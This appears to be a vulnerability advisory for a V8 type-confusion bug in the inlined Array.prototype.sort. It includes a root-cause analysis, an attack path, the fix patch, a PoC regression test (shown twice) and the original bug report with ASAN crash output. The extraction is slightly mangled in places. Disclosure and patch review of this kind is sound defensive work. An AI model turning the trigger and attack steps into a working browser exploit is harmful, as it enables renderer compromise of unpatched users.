CVE-2026-85046
Overview
Background
- `ElementsKind`
- an enum tag on a V8 array’s map describing how its backing store is stored, e.g.
PACKED_SMI_ELEMENTS(only small integers) versusPACKED_ELEMENTS(arbitraryHeapObjects). - Polymorphic feedback
- inline-cache data recording that a call site has seen receivers of several different maps, which the compiler summarizes into a single
elements_kind. - `CanInlineArrayIteratingBuiltin`
- a compiler helper that decides whether an
Array.prototypebuiltin can be inlined and computes a singleelements_kind_by unioning all receiver maps’ kinds. - `comparefn`
- the user-supplied comparator callback passed to
Array.prototype.sort, which runs during the sort and can mutate the receiver array.
Root Cause Analysis
Both the Turbofan reducer (js-call-reducer.cc) and the Maglev graph builder (maglev-graph-builder.cc) inlined Array.prototype.sort using the elements_kind_ that CanInlineArrayIteratingBuiltin / IteratingArrayBuiltinHelper compute by unioning the receiver maps’ kinds, so {PACKED_SMI_ELEMENTS, PACKED_ELEMENTS} collapses to PACKED_ELEMENTS. This union kind is only an upper bound on any individual receiver’s real kind; it is sound for the iterating builtins that only read the receiver, but the inlined sort snapshots the elements, runs comparefn, and copies the snapshot back specialized on that union kind. The invariant violated is that a store must use the receiver’s actual ElementsKind, not a widened superset: a comparefn such as a.fill(0) can narrow the live receiver back to PACKED_SMI_ELEMENTS, the post-callback map check still accepts it because that map is in the original set, and the copy-back then writes snapshotted HeapObjects into a Smi-elements array.
The fix requires every receiver map to agree on its elements_kind before inlining sort, so a mixed-kind site can never store through a union kind and instead falls back to the generic builtin.
ElementsKind — safe for reads — to specialize the sort’s write-back of snapshotted elements into the live receiver. The fix bails out of inlining whenever the receiver maps’ elements_kinds disagree, ensuring stores are only ever specialized on a kind that exactly describes the receiver.Attack Path
- Train mixed feedback
Repeatedly call a
sortwrapper with both Smi arrays ([1, 2]) and object arrays ([{}, {}]) so the site records polymorphic{PACKED_SMI_ELEMENTS, PACKED_ELEMENTS}feedback, unioned toPACKED_ELEMENTS. - Trigger optimization
Force Maglev/Turbofan to compile the wrapper, inlining sort specialized on the union kind
PACKED_ELEMENTS. - Narrow the receiver inside `comparefn`
Provide a comparator that calls
a.fill(0), transitioning the live receiver fromPACKED_ELEMENTSback toPACKED_SMI_ELEMENTSwhile the snapshot still holdsHeapObjects. - Store confused elements
The post-callback check passes and the copy-back writes the snapshotted
HeapObjects into the now Smi-elements array, producing a Smi array holding real object pointers. - Exploit the type confusion
Downstream Smi consumers read those
HeapObjectpointers as untagged Smi integers and move them without write barriers, giving an attacker a pointer-as-integer confusion primitive.
Impact Assessment
HeapObject pointers, letting them read object addresses as integers and store integers that are later treated as pointers, all without write barriers. This executes in the renderer process and requires only that the victim visit a page hosting the malicious script, plus the ability to train a call site to polymorphic mixed-kind feedback and JIT-compile it. Such a primitive is a strong foundation for further memory corruption and renderer-level exploitation.Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/regress/regress-crbug-542403045.js |
modified |
Files Changed
src/compiler/js-call-reducer.ccsrc/maglev/maglev-graph-builder.cctest/mjsunit/regress/regress-crbug-542403045.js
Audit Directions
- Union / upper-bound kind used for a storeFlag any inlining path that derives a single
ElementsKind, map, or type from unioning polymorphic feedback and then uses it to specialize a write back into the receiver, since a union is sound only for reads. - Mutation during user callbacksAudit inlined builtins that invoke user callbacks (
comparefn, iterators, comparators) mid-operation and later store into the receiver, checking that the receiver’s kind is re-validated exactly rather than only confirmed to be within the original map set. - Snapshot copy-back specializationReview any builtin that snapshots elements, runs arbitrary JS, and copies back, verifying the copy-back is specialized on the receiver’s current, exact
elements_kindand not on a value captured before the callback could narrow it.
Patch
From e0562d87ad9c17042b581582c99237d798572e67 Mon Sep 17 00:00:00 2001
From: Jakob Linke <jgruber@chromium.org>
Date: Fri, 07 Aug 2026 08:52:18 +0200
Subject: [PATCH] [compiler] Don't inline Array.prototype.sort on mixed elements kinds
CanInlineArrayIteratingBuiltin unions the receiver elements kinds, so
polymorphic feedback yields a kind that no single receiver need have:
{PACKED_SMI,PACKED} unions to PACKED_ELEMENTS. That is fine for the
iterating builtins, which only read the receiver, but the inlined sort
snapshots the elements, runs comparefn, and copies the snapshot back
specialized on the union kind.
A comparefn can narrow the live receiver to another kind in the map set
(a.fill(0) turns PACKED_ELEMENTS into PACKED_SMI_ELEMENTS). The
post-callback check accepts that map because it is in the original set,
and the copy-back then stores the snapshotted HeapObjects into a
Smi-elements array. Smi consumers of the resulting array read those
HeapObjects as Smis and move them without write barriers.
Require all receiver maps to agree on their elements kind before
inlining, in both Maglev and Turbofan. Monomorphic feedback is
unaffected, as is polymorphism whose maps share an elements kind; sites
with mixed kinds fall back to the generic builtin.
Fixed: 542403045
Change-Id: I38d9d3efc5942bd0122bbbe48bc26417a080821f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8213162
Auto-Submit: Jakob Linke <jgruber@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Jakob Linke <jgruber@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#109116}
---
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 9d951b1..0b4cc92 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
@@ -4068,6 +4068,10 @@
return;
}
+ all_elements_kinds_equal_ = std::all_of(
+ receiver_maps.begin(), receiver_maps.end(),
+ [&](MapRef map) { return map.elements_kind() == elements_kind_; });
+
// TODO(jgruber): May only be needed for holey elements kinds.
if (!dependencies->DependOnNoElementsProtector()) return;
@@ -4083,10 +4087,13 @@
Control control() const { return control_; }
MapInference* inference() { return &inference_; }
ElementsKind elements_kind() const { return elements_kind_; }
+ // False when elements_kind() is a union over differing receiver kinds.
+ bool all_elements_kinds_equal() const { return all_elements_kinds_equal_; }
private:
bool can_reduce_ = false;
bool has_stability_dependency_ = false;
+ bool all_elements_kinds_equal_ = false;
Node* receiver_;
Effect effect_;
Control control_;
@@ -4126,6 +4133,11 @@
IteratingArrayBuiltinHelper h(node, broker(), jsgraph(), dependencies());
if (!h.can_reduce()) return h.inference()->NoChange();
+ // The union kind is only an upper bound on each receiver's own kind. Loads
+ // through it widen and are sound; stores narrow and are not. Unlike the
+ // iterating builtins, sort writes its snapshot back into the receiver.
+ if (!h.all_elements_kinds_equal()) return h.inference()->NoChange();
+
// Only non-holey, non-double PACKED kinds are supported. Holey arrays need
// hole handling; double arrays need a FixedDoubleArray temp copy.
if (IsHoleyElementsKind(h.elements_kind())) return h.inference()->NoChange();
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index e811688..7b41b2b 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -9865,6 +9865,16 @@
" array iteration");
}
+ // The union kind is only an upper bound on each receiver's own kind. Loads
+ // through it widen and are sound; stores narrow and are not. Unlike the
+ // iterating builtins, sort writes its snapshot back into the receiver.
+ if (std::any_of(possible_maps->begin(), possible_maps->end(),
+ [&](compiler::MapRef map) {
+ return map.elements_kind() != elements_kind;
+ })) {
+ FAIL(" to reduce Array.prototype.sort - receiver elements kinds disagree");
+ }
+
// Holey arrays require holes to be moved to the end of the sorted result
// (ECMA-262 23.1.3.30 step 5, skip-holes mode). The insertion sort does
// not implement this, so bail out for any holey kind.
diff --git a/test/mjsunit/regress/regress-crbug-542403045.js b/test/mjsunit/regress/regress-crbug-542403045.js
new file mode 100644
index 0000000..e60a974
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-542403045.js
@@ -0,0 +1,89 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --maglev
+
+// The inlined sort snapshots the receiver's elements, runs comparefn, then
+// copies the snapshot back specialized on the receiver's elements kind. With
+// polymorphic {PACKED_SMI,PACKED} feedback that kind is the union
+// PACKED_ELEMENTS, which no longer describes a receiver that comparefn has
+// narrowed back to PACKED_SMI_ELEMENTS.
+
+function sort(a) {
+ function compare() {
+ a.fill(0);
+ return 0;
+ }
+ return a.sort(compare);
+}
+
+%PrepareFunctionForOptimization(sort);
+for (let i = 0; i < 100; ++i) {
+ sort([1, 2]);
+ sort([{}, {}]);
+}
+%OptimizeMaglevOnNextCall(sort);
+sort([1, 2]);
+
+const object = {};
+const bad = [object, {}];
+sort(bad);
+
+// A Smi-elements array must never hold a HeapObject.
+assertFalse(%HasSmiElements(bad) && bad[0] === object);
+
+// Mixed-kind feedback is not inlined, but still sorts correctly.
+function sortMixed(a) {
+ return a.sort((x, y) => x - y);
+}
+%PrepareFunctionForOptimization(sortMixed);
+for (let i = 0; i < 100; ++i) {
+ sortMixed([2, 1]);
+ sortMixed([{}, {}]);
+}
+%OptimizeMaglevOnNextCall(sortMixed);
+assertEquals([1, 2, 3], sortMixed([3, 1, 2]));
+
+// Same via a Smi/double mix, whose union kind PACKED_DOUBLE_ELEMENTS is
+// rejected by the double bailout rather than the kind-agreement one.
+function sortDouble(a) {
+ function compare(x, y) {
+ a.fill(0);
+ return x - y;
+ }
+ return a.sort(compare);
+}
+%PrepareFunctionForOptimization(sortDouble);
+for (let i = 0; i < 100; ++i) {
+ sortDouble([2, 1]);
+ sortDouble([2.5, 1.5]);
+}
+%OptimizeMaglevOnNextCall(sortDouble);
+sortDouble([2, 1]);
+// The sort writes its snapshot back, so comparefn's fill is not observable.
+assertEquals([1.5, 2.5], sortDouble([2.5, 1.5]));
+
+// Sites whose receiver kinds agree keep the inlined path, including when the
+// maps themselves differ.
+function withProperty() {
+ const a = [{}, {}];
+ a.foo = 1;
+ return a;
+}
+function sortSameKind(a) {
+ return a.sort((x, y) => 0);
+}
+%PrepareFunctionForOptimization(sortSameKind);
+for (let i = 0; i < 100; ++i) {
+ sortSameKind([{}, {}]);
+ sortSameKind(withProperty());
+}
+%OptimizeMaglevOnNextCall(sortSameKind);
+sortSameKind([{}, {}]);
+assertOptimized(sortSameKind);
+for (let i = 0; i < 100; ++i) {
+ sortSameKind([{}, {}]);
+ sortSameKind(withProperty());
+}
+assertOptimized(sortSameKind);
Regression Test / PoC
diff --git a/test/mjsunit/regress/regress-crbug-542403045.js b/test/mjsunit/regress/regress-crbug-542403045.js
new file mode 100644
index 0000000..e60a974
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-542403045.js
@@ -0,0 +1,89 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --maglev
+
+// The inlined sort snapshots the receiver's elements, runs comparefn, then
+// copies the snapshot back specialized on the receiver's elements kind. With
+// polymorphic {PACKED_SMI,PACKED} feedback that kind is the union
+// PACKED_ELEMENTS, which no longer describes a receiver that comparefn has
+// narrowed back to PACKED_SMI_ELEMENTS.
+
+function sort(a) {
+ function compare() {
+ a.fill(0);
+ return 0;
+ }
+ return a.sort(compare);
+}
+
+%PrepareFunctionForOptimization(sort);
+for (let i = 0; i < 100; ++i) {
+ sort([1, 2]);
+ sort([{}, {}]);
+}
+%OptimizeMaglevOnNextCall(sort);
+sort([1, 2]);
+
+const object = {};
+const bad = [object, {}];
+sort(bad);
+
+// A Smi-elements array must never hold a HeapObject.
+assertFalse(%HasSmiElements(bad) && bad[0] === object);
+
+// Mixed-kind feedback is not inlined, but still sorts correctly.
+function sortMixed(a) {
+ return a.sort((x, y) => x - y);
+}
+%PrepareFunctionForOptimization(sortMixed);
+for (let i = 0; i < 100; ++i) {
+ sortMixed([2, 1]);
+ sortMixed([{}, {}]);
+}
+%OptimizeMaglevOnNextCall(sortMixed);
+assertEquals([1, 2, 3], sortMixed([3, 1, 2]));
+
+// Same via a Smi/double mix, whose union kind PACKED_DOUBLE_ELEMENTS is
+// rejected by the double bailout rather than the kind-agreement one.
+function sortDouble(a) {
+ function compare(x, y) {
+ a.fill(0);
+ return x - y;
+ }
+ return a.sort(compare);
+}
+%PrepareFunctionForOptimization(sortDouble);
+for (let i = 0; i < 100; ++i) {
+ sortDouble([2, 1]);
+ sortDouble([2.5, 1.5]);
+}
+%OptimizeMaglevOnNextCall(sortDouble);
+sortDouble([2, 1]);
+// The sort writes its snapshot back, so comparefn's fill is not observable.
+assertEquals([1.5, 2.5], sortDouble([2.5, 1.5]));
+
+// Sites whose receiver kinds agree keep the inlined path, including when the
+// maps themselves differ.
+function withProperty() {
+ const a = [{}, {}];
+ a.foo = 1;
+ return a;
+}
+function sortSameKind(a) {
+ return a.sort((x, y) => 0);
+}
+%PrepareFunctionForOptimization(sortSameKind);
+for (let i = 0; i < 100; ++i) {
+ sortSameKind([{}, {}]);
+ sortSameKind(withProperty());
+}
+%OptimizeMaglevOnNextCall(sortSameKind);
+sortSameKind([{}, {}]);
+assertOptimized(sortSameKind);
+for (let i = 0; i < 100; ++i) {
+ sortSameKind([{}, {}]);
+ sortSameKind(withProperty());
+}
+assertOptimized(sortSameKind);
Original Bug Report
Maglev Array.prototype.sort representation confusion after callback-driven elements kind transition
REPRODUCTION CASE
Tested with a Linux x64 ASAN d8 built from V8 commit 95c55cd89dafc0b7b2f9631c009bffc71183a2d8.
Run:
/path/to/v8/out/x64.asan.report/d8 \
--disable-in-process-stack-traces \
--allow-natives-syntax ./poc.js
Binary SHA-256:
2fd100a8386d4a1be152e1150550e7e3ecf3e28fb1e6ee78dd5d9e01ddef9103 d8
VULNERABILITY DETAILS
Maglev can inline Array.prototype.sort with polymorphic feedback containing both PACKED_SMI_ELEMENTS and PACKED_ELEMENTS. It unions those maps to PACKED_ELEMENTS and snapshots the receiver’s HeapObjects before calling the comparison function.
The callback can run receiver.fill(0), changing the live receiver to PACKED_SMI_ELEMENTS. The post-callback guard accepts that map because it belongs to the original polymorphic set. Copy-back then restores the saved HeapObjects without changing the receiver back to an object-elements map.
The result is a Smi-elements array containing HeapObjects. Smi-only consumers expose compressed object addresses and can move those objects without write barriers. The resulting generational use-after-free was independently developed into reliable arbitrary read/write within the V8 heap.
Affected code path
Array.prototype.sort
-> MaglevGraphBuilder::TryReduceArrayPrototypeSort
-> collect PACKED_SMI_ELEMENTS and PACKED_ELEMENTS maps
-> union representation to PACKED_ELEMENTS
-> snapshot receiver into a temporary FixedArray
-> invoke attacker-controlled comparison callback
-> callback migrates receiver to PACKED_SMI_ELEMENTS
-> CheckMaps accepts any map from the original polymorphic set
-> copy saved HeapObjects into the Smi-elements receiver
Verified at current V8 commit 95c55cd89dafc0b7b2f9631c009bffc71183a2d8:
src/maglev/maglev-graph-builder.cc:9845-9854:TryReduceArrayPrototypeSortcollects the receiver maps.src/maglev/maglev-reducer-inl.h:884-895:CanInlineArrayIteratingBuiltinunions packed Smi and packed object representations.src/maglev/maglev-graph-builder.cc:9967-10001and:10077-10096: the reducer snapshots the elements, then enters the re-entrant callback.src/maglev/maglev-graph-builder.cc:10165-10212: the guard accepts the original map set, then copy-back uses the union representation.
The unsafe guard/copy-back sequence is:
RETURN_IF_ABORT(AddNewNode<CheckMaps>(
{receiver}, receiver_maps_before_loop,
CheckType::kOmitHeapObjectCheck));
// The receiver may now have PACKED_SMI_ELEMENTS.
GET_VALUE_OR_ABORT(writable_elements,
BuildLoadElements(receiver, elements_kind));
RETURN_IF_ABORT(BuildCopyLoop(temp_array, writable_elements,
/*check_undefined=*/false));
Downstream operations trust the corrupted map:
src/objects/elements.cc:4440-4450: the packed-Smi typed-array path appliesSmi::ToIntto the hidden HeapObject.src/maglev/maglev-reducer-inl.h:561-576andsrc/objects/elements.cc:2841-2848: Smi-specialized stores and moves can omit write barriers.
Security impact
The bug leaks exact compressed object addresses and enables missing-barrier object moves. Controlled reclaim of the resulting stale in-cage pointer provides reliable arbitrary read/write within the V8 heap.
VERSION
- Current affected V8:
95c55cd89dafc0b7b2f9631c009bffc71183a2d8 - Chrome 150 affected V8:
968f19a8970f8d91702d86f0ec1522f3909781b7, used by Chrome150.0.7871.46 - First vulnerable reland:
66a3f1e94d4b681bff6476a876067a3c79a853f0
The impossible representation was reproduced at both affected revisions. It was also reproduced from an ordinary page in stock Chrome 150 without V8 flags, native syntax, exposed GC, Sandbox APIs, or debugging APIs.
Maglev defaults to enabled at src/flags/flag-definitions.h:646 in current V8 and :625 in the Chrome 150 revision. Array.prototype.sort is installed unconditionally at src/init/bootstrapper.cc:2462-2463.
BISECTION
A source-semantic git bisect was run from known-good parent 5a0da6da91cabd4ebf725337b98e157f8d235f82 to affected descendant a48b78348d46ca248ad7080eb29bf4545378198b:
git bisect start a48b78348d46ca248ad7080eb29bf4545378198b \
5a0da6da91cabd4ebf725337b98e157f8d235f82
git bisect run sh -c 'if git grep -q "TryReduceArrayPrototypeSort" -- src/maglev; then exit 1; fi; exit 0'
First bad commit:
66a3f1e94d4b681bff6476a876067a3c79a853f0
Reland: [compiler] Inline Array.prototype.sort in Maglev and Turbofan
Cr-Commit-Position: refs/heads/main@{#106837}
The reland introduces the vulnerable Maglev reducer. Its direct parent does not contain TryReduceArrayPrototypeSort. This is a source-level boundary; archived browser binaries were not runtime-bisected.
EXPECTED RESULT
V8 preserves a valid elements representation or deoptimizes after the callback changes the receiver’s elements kind.
ACTUAL RESULT / CRASH STATE
The Smi map passes the post-callback guard. Copy-back creates a Smi-array/HeapObject representation mismatch, and the deterministic downstream Smi consumer reaches:
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address 0x0000010581a4
The signal is caused by a READ memory access.
#0 ... v8::internal::JSArray::AnythingToArrayLength(...)
#1 ... v8::internal::Accessors::ArrayLengthSetter(...)
#2 ... v8::internal::PropertyCallbackArguments::CallAccessorSetter(...)
#3 ... v8::internal::Runtime_StoreCallbackProperty(...)
ATTACHMENTS
poc.js: minimal deterministic ASAN crash reproducer.asan.log: complete symbolized crash output.
CREDIT INFORMATION
Reporter credit:
Salvatore Gulizia (nickname: Serotav)
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/flags/flag-definitions.h#L646
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/init/bootstrapper.cc#L2462-L2463
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/maglev/maglev-graph-builder.cc#L10077-L10096
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/maglev/maglev-graph-builder.cc#L10165-L10212
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/maglev/maglev-graph-builder.cc#L9845-L9854
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/maglev/maglev-graph-builder.cc#L9967-L10001
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/maglev/maglev-reducer-inl.h#L561-L576
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/maglev/maglev-reducer-inl.h#L884-L895
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/objects/elements.cc#L2841-L2848
- https://github.com/v8/v8/blob/95c55cd89dafc0b7b2f9631c009bffc71183a2d8/src/objects/elements.cc#L4440-L4450
- https://github.com/v8/v8/blob/968f19a8970f8d91702d86f0ec1522f3909781b7/src/flags/flag-definitions.h#L625
- https://github.com/v8/v8/commit/66a3f1e94d4b681bff6476a876067a3c79a853f0
- https://github.com/v8/v8/commit/95c55cd89dafc0b7b2f9631c009bffc71183a2d8
- https://github.com/v8/v8/commit/968f19a8970f8d91702d86f0ec1522f3909781b7